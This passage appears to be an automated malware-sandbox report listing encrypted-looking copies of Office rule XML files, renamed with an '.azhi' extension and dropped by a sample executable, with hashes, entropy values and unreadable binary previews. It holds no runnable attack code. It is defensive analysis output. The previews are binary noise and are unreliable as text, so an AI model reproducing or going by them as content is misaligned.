Preview:	<?xml...:..s.e.>W..%[/...K....18....d..>..\.ly....A..vO..KB.E<.......l...[7....f..gd$..c.@.).H.ker....h.?.l=ee.....;.2[...M..3?..vL3..X.....p.....(.e..a...x.I.h;....]P.Z......&A.`P:b(.'.6...iHK`..\|..#S"8..%......P.~.r.........@.g._6..MKC.p..Q...{..nf..SH.._..t......a.g.....a. ).[Fw4......X.Q0V.@:o...c(...X.......]...."......i{>.m..\UZ;.;...Y..q..A......].W....9"..qZO.A?....l..jM../3.0..k~.!92.%T?..i..A....i.O...4..G ...e5.Z..dTK.6@....>.......B..~...;...M.\|}..rjx.K.].#M..a.jp..M+.ev.Z..`#RL..^.S4.\|.z%..?....H16Nx.R....{....,y.d{1..=.M..-.n..=...6.....#"}.-.mWr.B.8.9:n.kAH.s'A.Q'L.2.Q..o.W. s.B...\|(.b.~....\|...-.......p.o..]...T\u.$O.{8.b....<....>..p..m..B..Dn9M..Ve85...P../.L..j.}.0.U.................V.8..T!...."...v.}.YGQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120631v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.699516699428942
Encrypted:	false
SSDEEP:	12:iP5i46+zmWfxd6a+LFpzhw5C/ofAYVwpmpaC8w50n/Xcgue46rJnLkYcii9a:iP5lCa+LT7yVmm4q4ul2JnLxbD
MD5:	E34B946AFC279BC5C37D8E62B14BCB35
SHA1:	CBE368D11CCFDD4BEA773F235E423633C0EAD3D1
SHA-256:	A204D63996B2C2B20419AE76E8CD4D042812B4DF7E7620CF908BC3D9DFC6B51A
SHA-512:	35556EECC9429BF95DB2BCB2D6A448B4CB96488146B9C1E76F46292137D1556931D481828EFBAB86810E8A2089118FEE35A42C2DCB215E09C8393316867AC583
Malicious:	false
Preview:	<?xml..s..B.z6..}.iZ\|\VyK....k.(L.........WDE.....b....(@....A......[j.!+......2S9..+.fF?.!.g..0..a.^....^&...$..Ar.X...../....G.\..F.T2......v.F..HU...Tf.......ga.'.M..@..\|x.h.i;........O...h....34V.......9...b;..7......h...l.N-...@.....D.n SP..!..f%bd.....X_.~........=.W.v....l..l...J.Xdm.5.J7>.....T....+..8:+.&. .D...[...rh......5.....Q2....]..F.....]\vS.2.n...Y.&."..".8.^....).L.E............\@pjQ.~g.X@......!.f("..._......N.v.Y........(8......{1!..T)1..].....&.{....3[...$..58$/.i.4~.$......T......?...X\|n.U^..-.,..Y....D..KH4.*.xqr[e.-........\n.k..a....~l..>..;..x...<.;#.0....4...9.$V.4{}h...{.&.6P.+O.l5..".2.FVagy?...d...!.K...bGQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120632v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	804
Entropy (8bit):	7.756565123763893
Encrypted:	false
SSDEEP:	12:gR0xFbBhF3tyJSrf86heH8L1o2Q2R2tJBcbCxHImArKKqBzmPYYcii9a:gKB3tyR6hechcnLBcb6HImAuKqBzAbD
MD5:	2BDA16876DB8466211B5D99344D4025D
SHA1:	1DF45EF5A73F6DD552D3FF4B4B031C7A102E5F8B
SHA-256:	B0BE13DDACD7A8CFAD94D7B40E377F84C4B0309763D00E51FDFD4069A8898E15
SHA-512:	EFA4B28658FD5781D8BCCF8FF2C32CFB16DAC12DEDD75E8CC59C41CC248A5FDA7092C1DED57D68D69B9A6E476E763517883E70C46A4FEDE7C44D67EA04715D84
Malicious:	false
Preview:	<?xml...i.s;....2L.o!g.c3]?D.....3.[p;.L.qt.z_CqL..z...%.........x.#yQ8W+..."..u,?.7..`..rn.)}0...&D...j...sWM\|..6....Y....o&<.q`.....C..........)8.....o.9`"...5..C..P.c.........)f.S.!.mBYY..D.._......j Z.....3....GQ.z...6..9...@.'.....J..\|.m...s.8WR...4B...(Wb.c..J.....I.\1.SGHg.v.R1...&.Z\U\1....Vbr+.5. 7.. C.z...N.2.~=C ..6...vPh....K1.si....P`...@o........l.V....((....~.>...%.s..#..7#...q....;:.kw.'.4U:.].._....?../c}.....lZ7..I.........=3. ."`P.d'.....y.jbA2v.@e..~../.b3Sw...mL..K....'.KN....?..B.E..........W....%.Zh0.v.{:.;.2..5G..1v..*.9=...f..t.....T..`.....t..T.;n.$..5rg....w.p.....h..U.(.7g.,.G..U.)H..:.L..ZF'.....^._.&.d.....N..3C....J.........fo.GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120633v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.756170699311782
Encrypted:	false
SSDEEP:	12:WnyB4wVmwuyPsyNdGjrUQd0cXVvz8cSOGoIAdhmwiWLthBDIeKcWouFUqN5AXxbI:WneX4wTlNpQdYYIwh4WLthBJKDFj5uSR
MD5:	DB58C802A2E2AB4F70853AACA2D12CFD
SHA1:	E1AAE8C21C994DCA754A884060F31097844FEB26
SHA-256:	242075265FF2C9010E7BFFAC2D323DE8820B61F192719F68B24CAF45C443CA19
SHA-512:	C7913AB854EFE73DD7586B2979BCA456228A94A8BB3A1D88176F838AEB28C6F1BAA0DC8CBE64698EDE8D55FB75E58873054AFFA7D656C2F3AC0F1FD738E30341
Malicious:	false
Preview:	<?xmlg..y0/!....l.\...@BX.X...0L.a..#..KR. ;y..Y.%-Tc/.O.7...n.ei....S..].;......Y.B.<St.B.].d.<....0S..p...$\..l...$.=Y........^?V:R-)v....r..4..E.SI4J....3&/.(........M.?.:q[O.-..b............+...).R.8.p.L(.j.........yfb.V..#..oD[.zq.i.n..ENC=;.i.P.JA....)..0...H..].7..N...%^.Al..'.D_0./F.....s.....;.v.....-.....G:......e...........2.C.l8N....Z....(.M... 0..d......w`....t....~.d..8...Q..+]....$N........g".9............'[guG... .'.^[nD.#8.n....&K.~.Bl...<o..._H#c,.\w.s.....B..J....7I.Y.x.\|A*.6.Cc.U.D.+pm..(.R...m5N.{.o0....]l...}[.)s.3.i..u...r..!..$..A.n..(....#...+w...0..-l`dDn/..h..y.l.q[.'z.d].4`_.Y..../._.h./.FF.a6.......ds..GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120634v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	827
Entropy (8bit):	7.741330668730333
Encrypted:	false
SSDEEP:	12:8MeE7n2LE2N8wdfkg/JW157dcUokpOng3E2jEQMR7w5bBNfH9pFtSYcii9a:vL242ew+zJcUROgU2joK5bfdpFxbD
MD5:	D82C38CB1345D494D87D31C2954E730E
SHA1:	EF0ED5E8F9130543228A54706423AC09F67B9A74
SHA-256:	2E56F1F8D21C18FEF7BCF742EC827FB9F6B564C8D6B044A65B8388426A8BC6DA
SHA-512:	4470AEC4202441CEFD505BB449287014162A58C61D4807B32DF4DC2EA3EBF7D4FD10910C4A493457A9F43D9E44F9448EDAE7EE80B37794D77747638021227568
Malicious:	false
Preview:	<?xml.(....#K.V.M...?o...{F..1O..3..\|@.5C.JJ'...fib......N.;K.X......t..........>w.e.+...f.....T]y.$.~@..&G..O.Fm..)............%C....w.D.sSf.u.Z.dZ...)...Ep...........\|o\....%....xG..f...Z../#V...:\...K.`...n.VD.]@#...v.[f[.k.=/.....;L...\...7+..o ..i.U~r.Q.V...8....IA.F(:P.........h.b$...t..[.JF.6.....CF......t......?....&a.+..mY..Y..3.........0...`....R........[..$ ...b..}!.....;I;^...........Q........C4....U..v?.<.K.qS... ..Q](.:.G].....Jr.......8.6?.?H..\4M........}...Z..m.%...j......;+3.6.....A.K....z.a..s...B.o...43..>.%.4.Mb$.f...l8.....>....._\.+...L..pQ..^.j..W~.gs.3\..t....h..f..;.P...p....X.q.e.e.......u.q$jt.......f..G......'7.:..B(>3Q:...iV.u.+O.}.....O... ...x.K....d.J....1.9vDGQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120635v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	753
Entropy (8bit):	7.681538928428308
Encrypted:	false
SSDEEP:	12:oXXhQ0VLkYNVPFYILQaZGGgPokgvr+M1mfhxlVEggHDUZfayA6TFjMhclUpfmxt0:8ZFiILQDQ1vr7QjPE9DEU6pjMhkwmxt0
MD5:	945C540CF3ADEA23256299941342F1FC
SHA1:	2C00B853E1B8854B03DCAAB5D7C6892FC27C7007
SHA-256:	08F1C43E8AD0E442C61B24B0594E2BA5A9D528B20D0F5F84402DF9DFBDB36EBE
SHA-512:	73477B6B72DDB9A2D9D4D9EA8E02000624DB613D7F8A1A73BDE6C0C820C53852A325C1B01EFAA2E28D530D788DDE57311C6438DDDB2116F5D0735E86F4B9597D
Malicious:	false
Preview:	<?xml..\...-t..A..^#......c..J'}.......K?..=.R0.n.nK...!.i..$......6C.1x.q....K.v.Z.F/.....`.Z...1...TK.'.ed..Bg%....~..E.).b..s...T....O.z..&.._.1..`..sF.q.Y.#F$.dO...f?..:.y1.a..."...<.1.....!c.._....>...O...)..`...............5.<9Y1..,$=_.y..Q7.ng..)....f..1...D..b......._..w/...gr.^.h,....f...dy>.[j3Pb....\|-=}...0$..2...o.\4.-..."m.7Gr(..2E.C./.0a....V#..:..0m....wg....LM(9T..v..e~Qv.[..^&....RZ%w.a..6.v&.......Cr.8\|)......8.(}M.bm..f...MBjWp....:..C...q,%..W.=.....~S....l..E.}5au......;.e...8....w.i.6..#.:.."i...?...%...k...JI...4k."..+........ ...Xe...Kz...X.........8....e.?...Y..=...G#18.x,)>...y%.,..P..\|3.R..........G....GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120636v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.713998572069319
Encrypted:	false
SSDEEP:	12:+vpwHQxg0+iNh8cPCj17Sjz5NwZ9kUbts3Zpa6dwq+tV3+Zyr3mwHRxG3KFYciik:ipwHEgO/qpglG93s3q6dotV3+Z1bKWbD
MD5:	F9C8F52B9BB89531DC826E8D2DEA3823
SHA1:	480A75AFF58661D250E457849CB44D7D61531AAE
SHA-256:	5EC68301A0EBD26EBB657F4E99706F865ACF820A0F528A3BCFE00498E0EE1232
SHA-512:	203C6772FE7C20918B1D861613E52EA98237C57BB60467AC6A651B0C95D84CF5004F414EC127EDA1928C7903C5892A28FF7FB17570740F670BF9B05BFC4EDAEB
Malicious:	false
Preview:	<?xml....^..B...`.:..`#C..T3Aixt..)YL...,.u[.4BS..r%.&..b......!..]...z3.-Dx.SP....u=q.y...GnDa.%....D&.t@.m....fr..9.ZM.W3.Izb<....h..].=J.{[..^h.N..\|.R.~.....,_.I.-..=.'.$.~MB....7.5...`...?..b4.a6G.^...C\|D?....U.....b.G.(..\|.........v.P&..7.T-..5...?j....y_..VY..aq?...\|#..3..@.B....5......N<..SU....!\|.c.......b....IRw.2...k..}.U..?..Ar[.?X..}(..k.=[...I..ct..Vq......6.....p.\.~t...._...G...X5o.... F...s.X$a5.g_.....N..@.&h@.-...0{....h....X7>..V.LX...w.pYv4.&N-......R...0S...J..g...c.'8..1t./...%..\#."..D..mVb...uX....B...A.&%~..K.."....`..G.....v..U.&VF.....S........Pop:..~.f......t.d1\|.........XX..t)....,....xN....qM.....u"..%1sx.H.p..\.9..,.V.6.........0...w..0.GA....GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120637v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.688482071924081
Encrypted:	false
SSDEEP:	12:jh+lGUS23f6o4OnoXZ0VHSyEimFHEg3MWbRNGiBtA1DKLNSVxgYcii9a:joljS2CoIXZ0rELkg3XNGiBy1Dq0lbD
MD5:	A2A87F61417E3BEEFBE9A41D00874A22
SHA1:	EE384663F1FF5C576A0A867D38F3C408D69B91D2
SHA-256:	2B1B0F70012C5F3156552E2A1D614B097D905731A0D4FCAA0641FDA8504D1D33
SHA-512:	A2AA82AD34B38A357E5F08AD55EBE477F8F281AF7C1A80149FC277D266AA4A6DF31EF3B77E79696AF791D59ED0CF02981C735745E1E84400A67AD241E909492C
Malicious:	false
Preview:	<?xml.6XF.....e.p'K..0...h....[6T,IzHy.I.0.f....C....s.H....I,.....v.....eYKCrv.BX....v..\...,.S....S......Ad..e&Fx.o<.I....%%5...$....i.S...Q..}..1-...6..{;w.....2:.....3-..w.H..\|..,..[...6....y.s....~\...(=..=..H.@....+..y.\....0e2.9 H...O....d.....B*..g$w..=......3.4".f..Qf....r......o...{........J..R.@.`.s......0H....[^>.h..E..a.@..f...........$.x%.c?McG{.s..)+....-G.X..(........5..0.c.....`t.`.......3...+.\.....6d...b.W......:..$b.....F9.E...G./...c....fW.a..8...(..N.9....f...M..C.DO.?.t..R..sV....7.HX.e6..c.J.....&.+.!2.t8^..O.....-.]@Z...( ...F.xf....3.+w..E...C.a<....N.S._.X.Q/.'7.{aN......\|)..B..P...#-...V....L...{..b..........GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120638v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	819
Entropy (8bit):	7.703117141457402
Encrypted:	false
SSDEEP:	24:EGEZwxnDJr0id5tI9fY8NVo+9wOezIuybD:33nNrThMV1wOiJgD
MD5:	F0F5A8421121803C87758D75811890C4
SHA1:	91EB3BBC9F73A2232E7AD1C1E16CDC868E959AD0
SHA-256:	93A53D8B110860DFA86DFF208CBE2C399F7769E76318F8FFE6D777BDB244DC6D
SHA-512:	FFF9D7B951DB8CB824EDAB7FB5FB55EA6B3B6ACABC236BE2F923C459939C59E52F8E4FDBE62DD3ED1433C6826D93CC305574A1DB5CD821CF517F013429A56656
Malicious:	false
Preview:	<?xml.... ..VB....x....B../h:...E...g.2... .......bu...\.l..L.S.&.Y........9....Z#m..f..L.\|...n.Dv.yF.l......[.rN.;...X.....O.#....5.'..~k..&Cr..rgG.u..........,.y.....9..6......SX;!p...0.......E.).4m...d..:M..~ck..E..J.H.1...yT}....%W.......qy...F~........Tf..#e.U:..>...C.2/.@.GU..=Hm...z.(.Q.f)..6v.G...`?..G....95.l...g...E..B.#H,.-D..9f....1.Z...K......h.........#.+w/.~...f......C..O..,...}..g.T.mMR..ds.5......Q.L.Q...;..}.HA.O;5vA...q.@G$...a.8..[.e.}...S...^f.nRP. ...G.C...._...4.k...-..c&........G...K...5Fp..=.E.jX^.8..)......U......r..R......B.Dy.<.HS&.U....X.-~.3.aj..8..xg..].P..o.r<...w)1.3._.].s...4..+.b..).......v}.-~.....i$..].?....:3..W.pU..e...K..v.....Rn..k..b.R..9...Z.GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120639v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	756
Entropy (8bit):	7.683586015679785
Encrypted:	false
SSDEEP:	12:waauGH7slVQUhbU12p1ums7SYU7qG63/rjnG7UX1kLHjqT7O01HW6IFqLaDDVQMG:wLj7uCKb98ms7S0G+KMkLDqT7p4qLCuX
MD5:	626262754376B8A6A25A3C2651B80445
SHA1:	175120A1DDD18E2EB1C933715E11E55D3753744B
SHA-256:	8E452E4ADDE1712C2CE54D1587120FC5DEAC730544203AB7ABE08711CAD976FA
SHA-512:	50F0E5302187E905BB16E32244FB475E5C187A662FF98869EFA519689DD12A02E3FEF63B5CA273E2D56682CFF4B59A07C50C1BD2F36C64C059AD343201F70752
Malicious:	false
Preview:	<?xml.B....^.......GI......q..B...Z.Ae"9G.....A,.@._{...6..`.x.....%U._}rX..b....Q._I...:/.9%......5..".D..r......T.-\..$>A+.}0<.>..mn....r..JY..,.O.l.......`-..~.....z.....H....E.9.,P.x...../..g%X..4m....P......=r.m0knLzh...-..T..cdP"'......?.rR.j.R..W$?.{s.....q..LO.5.v_..e...@..c...T..#..,..p.5.:\|.]3+.J.#..z.o....d.RT..K..;.L.]..s!....:.Z.i.j....\.....W..6q......p.(.....er.fq..1......\..7-3EG..o........2....p.\|..kZ.fW..bD$~..C..Pnu.,.i..K.Nn...<../...nHD,Ahd.r...U...8...'......K.+..>."....2....7.H..e.....\8..C.Af..F....u..C..c.4v........R.V\.Db.@..m...C5...Y.1V[.d>..).2.@..u0b.ax....G.......^.z<...c........<x...b.} fv..F.2...bn.)4.....lGQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120640v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	811
Entropy (8bit):	7.762056612185086
Encrypted:	false
SSDEEP:	24:w6H0jldJpB2qbB60bhmZUteHqow6S6zit6hAHYbD:wkK7YqbBBbhMUYHpik3D
MD5:	928D4B9D256C9E15758E08C420D8FD9C
SHA1:	06B3136ADBC7AE7DE31433975BC1D62E50FD033C
SHA-256:	084FE0D4DA9D08691D5E81C690BECFA28982CFC182718866598E93107CC3EAB4
SHA-512:	B29271589700BA4BF1C91A0B771E445B8694249263415BE7DB1167B36CB71E6C38BC7553C950489EF17091C6EF037922163D49602E4CFD97BDBF422774A4F55E
Malicious:	false
Preview:	<?xmlt.N...Q..XA^.+P\|[.i...8C..j...]3.a.1.y.'...2_.:?. ..b..2!0.......N.usV...h....K.ooU.Z.gNZ.1....2..SU..Q.b.....).H...h..G=.....U.8.9..V..]........[.b...`.p.u51.....PS.m.V...l;J..F....'.q\N...>...........5%..!..Z.]g..U..R0.9...^..n........]..8GM..^(....L..~\.......]l......\|...(....CP..u."}.i...&...1=..~..Cj{.......z.....(..\|ufK...z.)b.\|A'..$...T...<t..i......wM.1._b4.)Xi....E....3sK7..Vg....n......f..W\U...]>k.4y.G"..~..epV.....=...p.....Gr....[_'..N...<"=..`.......w...*.qh.!8L....HV.a.....x.)R...m.M:..i../..s.\.t..}...R....,\..$...L....kF,m..i.W..x.1..<#...C.c.3.f.f1.<.dhy...C...K.~.....U..Y..G....T.6...R.....7..e}.......<:^.......q.Lw..Yd....[\|eZ..<...jKQ.D...C.....)B....lr.:.GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120641v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.734866809994504
Encrypted:	false
SSDEEP:	12:YzFoVLxZY2eRNeGgPht//K7NvMWhAA/s+kvZIxV9JuvSn5oUSdLzcHHGYRip0q3p:7HY2NPht//KiWfs+kyxVOvPLzSHlRi0e
MD5:	390BC77B2C134481F4190AB360B03741
SHA1:	1BF67E4FCF79A71C59B9F3973E43FF9E7FFA2687
SHA-256:	114E782130F9A0C34001CE608AEB195E59502AC2B262F6A080A745205AFB302D
SHA-512:	A590E44D3AF2BE60B2ACD71302F0D78ED5B4F4242A7ABB55CED374755D10944CBED1868481E8ECE44E6D10142EB6ECFD3522DEF2928ACB95B9F5D8765C7D9813
Malicious:	false
Preview:	<?xmlP-I9..detpy.....uB.`+...e,Wg.4\|..@.3...m6.\C....)..j..G~PQ......CX.U.....".J%F'..">.]................k.;g....+tiHa...A....j$7./..S..D.lb!C{.z.."...).F..^8e......cV.............'.......C...7....h#d6...-.-..S..;wIz.a>...1...d..&..=.Ls...).m....,....2......`..\.....p\.pa.?jY`....g....E.......P..^..K.j.G..d07.xu...L+K.Ut........j....i....}..%..C.\|Gf.....L.I.2...w...{l...UUwT5.3.&....8...x(.....t.9.D.....j/.>{..T......T.......u......' ...A ...[.&. v..A.. +...8 @..0s......COn..~:..Z.'..3Q...../.^..a>..0<0)...EA9.!5...I~....Q.f....i,...f..Tj.GK@..%..Q./.a..%.c....=...WY.......N.>A3 ......BhLGp...U,.3.B.,...)YW.R.GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120642v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.73908265188227
Encrypted:	false
SSDEEP:	24:lQ15VnBRk4FXn9pM3e1a8meYLtNHDdZEiczNHjNbD:lu7kIX9q3eB0HDdZEiczNHjtD
MD5:	B6604EFF47E9F5881F59DB8D6F87E5C6
SHA1:	4E310F80DF58FCCAE870A360200578027F4646F7
SHA-256:	B7A5A6F98ECF3E55DFFED3C05A24FFC95ECE061CAA4A25ADC0849D583BEABB2E
SHA-512:	C076DA1159D77D2852CA8A24EAE74B1505E0DE145AFB60F3391D162BA2E4CB935F59D6EB39E2719999B7D0AF7BF849418319EDE6445DC97A9776B07221B110CC
Malicious:	false
Preview:	<?xmlrb..4D{.E.fR\...:.p..ls..w.rs.UlG..:.]...0...i...........6#}...HX.A[F.#U[^..3...]2.....&y..7,.>.M..S....xd.\......e......U....fc .b.Y...}$.q}W......W.\|..#\|......o.......{......yB@..e..m.W\......z...AKo./..&~\|W.M.wdo<..f@.~..k.t.).)..(...P.k.\.)...{.....tO...W...........v..).$..;...,....!.b#.V.#.b..........9.C...g.T...g.Qu.p.wi.....c%...+.f..{n...B.KT.t1..d=...l,..eagD.+..9a....vB.P]. .1M].N..V..ao_9u....9x.k..fF....n... K...v6...8..^.>.)v9^..I......r..l...yMz{..x.....X...Z.......6.S6L...e>h..v.....w...}..8..Z.v..c.l{..v./.I...\|..1..(....L..j....8......>...._u?...Zf....".$~.J+...i.Y.P.u.x.V,.jL.3.s....h0,.^A.(..\|....C..A.{..o.....\*o.H&._+..%'.@......Am9Z}.q....O;c\...G!=GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120643v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	733
Entropy (8bit):	7.676984616755067
Encrypted:	false
SSDEEP:	12:MJQrVFYkhgPqr7Hhs+Bth0+8Aji+k1EKqWL2EyGKsNc08+vCXmlypyvVYcii9a:rTVnhfBQAMjTZh++vC2lycubD
MD5:	779608AF6EBE0B051EE51FEAF832A4A7
SHA1:	110B27F7BCDD04BAAA55772EE589406B78005069
SHA-256:	4FD7CD082C6D01BD4A4258B29815BCEBA950453FBEDF5122470DA905D4BE5B49
SHA-512:	CD51AC0AB1DB7D0599A77711DAACD515E9A0E0255F77F0A69937A847F5730368FB0614F9150C2937772425C93902BE11DBF87133E46D8E6C4FD11A9B1443373E
Malicious:	false
Preview:	<?xml1.).K.....7..oI).m..z...N..Zt...8_.\.u+>...._.D.....%.......2..E.....8M&..m]%(Sy..w..H.>...C^ +;8.....G-......e..H..8.\|.`.\|.A.4..hf.......b.+...V..w...k..Q@.....z).1H.tq.~..t....A.Ww...o.sdx#%...A.....7..M......9\|.I....?...6....H.W.kH..".h....Q...UD...vF.0.D.UW6..H...>....dG..[...._.B%.+U..B......<.<.....&b!...v.lG.b...l..%W+..........^[..s...n..=..3%.7d...Fk.....x.@b.W.G.b.c...t.k+....&....Gn8..........5~.d.].#S..........1......T..-.5..!wS..k5'.m.]~.........d..d.y$......G5^.r....A.Q.....c8.V..o.B..0l.?)..t..0..B..s.....S....u>b.Z..L..F.-.t.z @V......_..j....>..H.Qd..R.{7#-wo..........c...@i.......?. ...`..@GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120644v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	812
Entropy (8bit):	7.704605966951323
Encrypted:	false
SSDEEP:	24:HavX5jjLvkoS7cRHPCUe9pvFZIhP/Dd3GK+bD:Hu5jvH3HKUIIhLoND
MD5:	FB95A78CD01DE5E7488EAC5C8A222022
SHA1:	1F7BF6990F69F560E30CD31F28F63C65AC971658
SHA-256:	DAFDF35B985E8B6CBF2897D153C824279368A4E6618B8350DEE9811C8358B9E0
SHA-512:	C07F0944E46F4228ACA60F3ED4CCFCD065CDFE2365BCA095AFE24C00587ED47AE1D0CE91C7ED0EE723841209DB0BA41CA2B0BB070ACEA5A8E3E4A69F00C29EDB
Malicious:	false
Preview:	<?xml..#..>~..~t.CV. ...m.[UtS..Nxr..?.9..4.m.x.....1I..i..%...`..........<...R.....z.._\.J.aM....9m%4.34jP..,...\V...$.%sn@...p.X..0ZO.....0k..Q.z.6.wg.....=..j..d@..r...IHU.m...(.2..=...\|...6..q.F...b/0..e...3..Zm......=.[.p3"Kt.?).M..O..6.="!..>..2.......K./.L.._..Z.Z. {\|}.}..1=..H..u./...C m>l.s.-#'..>+)....^....#.Tb-..Q`..rE..q..q7..j.......:8..3.&`.4z/......q\|r..-j.......lu..W...%8....r...*..-.P.......St%=....;'>.QB.z......&....Dm.8..nM...4R{_.......o..Q...+`k+..D"...[..P.-+.Ew.e...z.K[..[I.;.$u)bt<...b.."x...[.`.....({m.7.=..\|..CRv[.Z....0..o..:_K..f.6....<.._....;1.TdY2.j(.A.."..Y...BL..~N..%.p.\.M.C..2...&....>F..Vv..A.b>......$>o.4..8....N{7c\j..~.N.jL.P...V&.O.0=(......u.A..m....GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120645v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	758
Entropy (8bit):	7.716260523554258
Encrypted:	false
SSDEEP:	12:wXpHX+APIMvfJ1i6cRbaorRVsl1Cec8/Jhvms90CCBnTUryAqRrizTOP61YFYciD:w5uqBbihRTSz/J5ZBCB8P6P6hbD
MD5:	0AA700DC53BC10DF4F6FF3872829D094
SHA1:	9DFBCC141D5D7A67D5A903AC91A5BA711F49FDC8
SHA-256:	7B59DA79ED3A7615062F3D9DE182F9F2E50604B76B487BF6F748500A5C242855
SHA-512:	21168C27A12B3DE7F32E5A7B2143E298D4FD21B09C07BDEDA8723276A0649BE0A281C3C1EA2BF378BCA1EE84D55A0666ADCF697C29BC3BDE9FB368833AA54C97
Malicious:	false
Preview:	<?xmlM2.j..I7 )..Z...k]..B..l.......HJ..`m(Of..C#.q...}..T..#.a.....J.L.BU.X...H..=~....T#.g....^.J..z}..c...$..FR...+...a.M2...z.%j......G<h..C.....uE...PS..#.JY..R.].... .,..n.Q..=...L.}....<....d...L3..d3...+....Mo...'....[.+.e......{.V....OZ8..6.4....]...!.].l\&.X:.\|.....c~.Yp.e.R..r..a..........`.U.on...{.0S....=.^i{....@....V.FO.:.f./e............~.....P.W..t.sy}..XD_e0..a.W.M5........i...wftS\|6.3.7.....E.+.(..%S....\|.z..Wba.{,..@...........q.{....t.........y.5c.....B...wO..8.....w"......m..-.q'Y\N..V...=c.K..a........D3.#.y).o...s..#.......p.ap..T..Q.`...F+.HP.+...:.p^.V.~.\|h.N.g Yy..o.xh.......V."W........i.Z.4b 